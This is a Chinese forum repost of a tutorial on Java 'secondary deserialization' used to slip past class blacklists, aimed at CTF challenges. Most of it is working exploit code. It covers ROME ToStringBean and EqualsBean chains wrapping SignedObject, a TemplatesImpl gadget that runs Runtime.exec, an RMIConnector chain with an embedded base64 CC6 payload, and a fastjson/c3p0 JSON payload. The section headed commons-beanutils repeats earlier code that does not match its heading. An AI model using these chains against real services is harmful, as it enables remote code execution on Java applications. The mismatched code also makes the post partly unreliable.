ToB企服应用市场:ToB评测及商务社交产业平台

标题: 从0到1的二次反序列化 [打印本页]

作者: 不到断气不罢休    时间: 2024-5-16 23:04
标题: 从0到1的二次反序列化
媒介

简朴介绍下二次反序列化,顾名思义,就是反序列化两次,其主要意义是绕过黑名单的限制或不出网利用,有些CTF题把一大堆关键类全都ban了,这就让人无从下手,二次反序列化就是为此而生的
SignedObject

原理

看构造函数,接受一个可序列化的对象,再进行一序次列化,简直不要太perfect

关注一下这个类的getObject方法,this.content可控,且进行了反序列化

简朴的构造一个恶意的SignedObject
  1. KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
  2. kpg.initialize(1024);
  3. KeyPair kp = kpg.generateKeyPair();
  4. SignedObject signedObject = new SignedObject(恶意对象,kp.getPrivate(), Signature.getInstance("DSA"));
复制代码
然后调用SignedObject的getObject方法即可,现在的题目是去哪调用这个方法
rome链

ToStringBean

上篇文章刚讲过rome链,可以调用任意get方法,结合一下就能实现二次反序列化了
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import com.sun.syndication.feed.impl.EqualsBean;
  6. import com.sun.syndication.feed.impl.ObjectBean;
  7. import com.sun.syndication.feed.impl.ToStringBean;
  8. import javassist.*;
  9. import javax.xml.transform.Templates;
  10. import java.io.*;
  11. import java.lang.reflect.Field;
  12. import java.security.*;
  13. import java.time.temporal.Temporal;
  14. import java.util.HashMap;
  15. public class toStringBean {
  16.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  17.         Field f = obj.getClass().getDeclaredField(fieldName);
  18.         f.setAccessible(true);
  19.         f.set(obj, value);
  20.     }
  21.     public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
  22.         ClassPool pool = ClassPool.getDefault();
  23.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  24.         CtClass ct = pool.makeClass("Cat");
  25.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  26.         ct.makeClassInitializer().insertBefore(cmd);
  27.         String randomClassName = "EvilCat" + System.nanoTime();
  28.         ct.setName(randomClassName);
  29.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  30.         return ct;
  31.     }
  32.     public static HashMap getPayload(Class clazz, Object obj) {
  33.         ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
  34.         HashMap hashMap = new HashMap();
  35.         hashMap.put(objectBean, "rand");
  36.         return hashMap;
  37.     }
  38.     public static void Unser(Object obj) throws IOException, ClassNotFoundException {
  39.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  40.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  41.         oos.writeObject(obj);
  42.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  43.         ObjectInputStream ois = new ObjectInputStream(bis);
  44.         ois.readObject();
  45.     }
  46.     public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  47.         TemplatesImpl templatesImpl = new TemplatesImpl();
  48.         byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
  49.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  50.         setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  51.         setFieldValue(templatesImpl, "_name", "x");
  52.         KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
  53.         kpg.initialize(1024);
  54.         KeyPair kp = kpg.generateKeyPair();
  55.         HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
  56.         SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
  57.         HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
  58.         Unser(hashMap2);
  59.     }
  60. }
复制代码
大概的流程是如许的:hashMap2:readObject()->signedObject:getObject->hashMap1:readObject
EqualsBean

rome的另一条链,通过euqals来触发
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import com.sun.syndication.feed.impl.EqualsBean;
  6. import javassist.*;
  7. import javax.xml.transform.Templates;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.security.*;
  11. import java.util.HashMap;
  12. import java.util.HashSet;
  13. import java.util.Hashtable;
  14. public class equalsBean {
  15.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  16.         Field f = obj.getClass().getDeclaredField(fieldName);
  17.         f.setAccessible(true);
  18.         f.set(obj, value);
  19.     }
  20.     public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
  21.         ClassPool pool = ClassPool.getDefault();
  22.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  23.         CtClass ct = pool.makeClass("Cat");
  24.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  25.         ct.makeClassInitializer().insertBefore(cmd);
  26.         String randomClassName = "EvilCat" + System.nanoTime();
  27.         ct.setName(randomClassName);
  28.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  29.         return ct;
  30.     }
  31.     public static void Unser(Object obj) throws IOException, ClassNotFoundException {
  32.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  33.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  34.         oos.writeObject(obj);
  35.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  36.         ObjectInputStream ois = new ObjectInputStream(bis);
  37.         ois.readObject();
  38.     }
  39.     public static Hashtable getPayload(Class clazz, Object obj) throws NoSuchFieldException, IllegalAccessException {
  40.         EqualsBean bean = new EqualsBean(String.class, "s");
  41.         HashMap map1 = new HashMap();
  42.         HashMap map2 = new HashMap();
  43.         map1.put("yy", bean);
  44.         map1.put("zZ", obj);
  45.         map2.put("zZ", bean);
  46.         map2.put("yy", obj);
  47.         Hashtable table = new Hashtable();
  48.         table.put(map1, "1");
  49.         table.put(map2, "2");
  50.         setFieldValue(bean, "_beanClass", clazz);
  51.         setFieldValue(bean, "_obj", obj);
  52.         return table;
  53.     }
  54.     public static void main(String[] args) throws NoSuchAlgorithmException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException {
  55.         TemplatesImpl templatesImpl = new TemplatesImpl();
  56.         byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
  57.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  58.         setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  59.         setFieldValue(templatesImpl, "_name", "x");
  60.         KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
  61.         kpg.initialize(1024);
  62.         KeyPair kp = kpg.generateKeyPair();
  63.         Hashtable table1 = getPayload(Templates.class, templatesImpl);
  64.         SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));
  65.         Hashtable table2 = getPayload(SignedObject.class, signedObject);
  66.         Unser(table2);
  67.     }
  68. }
复制代码
虽然有报错,但没啥大影响
commons-beanutils链

回想以前学过的,还有什么能调用到getter呢?CB链中有个这个类BeanComparator
BeanComparator


很熟悉了
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import com.sun.syndication.feed.impl.EqualsBean;
  6. import com.sun.syndication.feed.impl.ObjectBean;
  7. import com.sun.syndication.feed.impl.ToStringBean;
  8. import javassist.*;
  9. import javax.xml.transform.Templates;
  10. import java.io.*;
  11. import java.lang.reflect.Field;
  12. import java.security.*;
  13. import java.time.temporal.Temporal;
  14. import java.util.HashMap;
  15. public class toStringBean {
  16.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  17.         Field f = obj.getClass().getDeclaredField(fieldName);
  18.         f.setAccessible(true);
  19.         f.set(obj, value);
  20.     }
  21.     public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
  22.         ClassPool pool = ClassPool.getDefault();
  23.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  24.         CtClass ct = pool.makeClass("Cat");
  25.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  26.         ct.makeClassInitializer().insertBefore(cmd);
  27.         String randomClassName = "EvilCat" + System.nanoTime();
  28.         ct.setName(randomClassName);
  29.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  30.         return ct;
  31.     }
  32.     public static HashMap getPayload(Class clazz, Object obj) {
  33.         ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
  34.         HashMap hashMap = new HashMap();
  35.         hashMap.put(objectBean, "rand");
  36.         return hashMap;
  37.     }
  38.     public static void Unser(Object obj) throws IOException, ClassNotFoundException {
  39.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  40.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  41.         oos.writeObject(obj);
  42.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  43.         ObjectInputStream ois = new ObjectInputStream(bis);
  44.         ois.readObject();
  45.     }
  46.     public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  47.         TemplatesImpl templatesImpl = new TemplatesImpl();
  48.         byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
  49.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  50.         setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  51.         setFieldValue(templatesImpl, "_name", "x");
  52.         KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
  53.         kpg.initialize(1024);
  54.         KeyPair kp = kpg.generateKeyPair();
  55.         HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
  56.         SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
  57.         HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
  58.         Unser(hashMap2);
  59.     }
  60. }
复制代码
RMIConnector

这个类是javax.management下一个与长途 rmi 毗连器的毗连类,看findRMIServerJRMP这个方法,符合我们的需求

找谁调用了findRMIServerJRMP,类中方法findRMIServer调用了,不过得满足path.startsWith("/stub/")

继续往上找,类中方法connect调用了,jmxServiceURL是类中属性,可以通过反射修改,得满足rmiServer==null

这个构造方法刚好满足

给出构造形式:
  1. JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
  2. setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
  3. RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
复制代码
现在想办法调用connect就行了
CC链

任意调用方法,CC链yyds,这里base64的是CC6的数据
  1. package org.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import javax.management.remote.JMXServiceURL;
  9. import javax.management.remote.rmi.RMIConnector;
  10. import java.io.*;
  11. import java.lang.reflect.Field;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class rmiConnector {
  15.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  16.         Field f = obj.getClass().getDeclaredField(fieldName);
  17.         f.setAccessible(true);
  18.         f.set(obj, value);
  19.     }
  20.     public static void Unser(Object obj) throws IOException, ClassNotFoundException {
  21.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  22.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  23.         oos.writeObject(obj);
  24.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  25.         ObjectInputStream ois = new ObjectInputStream(bis);
  26.         ois.readObject();
  27.     }
  28.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  29.         JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
  30.         setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==");
  31.         RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
  32.         InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
  33.         Map<Object, Object> map = new HashMap<>();
  34.         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
  35.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, rmiConnector);
  36.         HashMap<Object, Object> hashMap = new HashMap<>();
  37.         hashMap.put(tiedMapEntry, null);
  38.         map.remove(rmiConnector);
  39.         setFieldValue(lazymap, "factory", invokerTransformer);
  40.         Unser(hashMap);
  41.     }
  42. }
复制代码
WrapperConnectionPoolDataSource

WrapperConnectionPoolDataSource继承于WrapperConnectionPoolDataSourceBase,在WrapperConnectionPoolDataSourceBase中存在属性userOverridesAsString及其setter方法setUserOverridesAsString,触发fireVetoableChange事件处理

在WrapperConnectionPoolDataSource中有个判断当其属性为userOverridesAsString时,将调用parseUserOverridesAsString方法

进入parseUserOverridesAsString方法,截取HexAsciiSerializedMap之后的内容,进入到fromByteArray

末了进入到deserializeFromByteArray中,进行二次反序列化

结合fastjson来exploit
  1. {
  2.     "rand1": {
  3.         "@type": "java.lang.Class",
  4.         "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
  5.     },
  6.     "rand2": {
  7.         "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
  8.         "userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
  9.     }
  10. }
复制代码
hexstring就是我们的恶意类代码
结尾

二次反序列化到此为止,以后若有其它方式,再继续补充

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4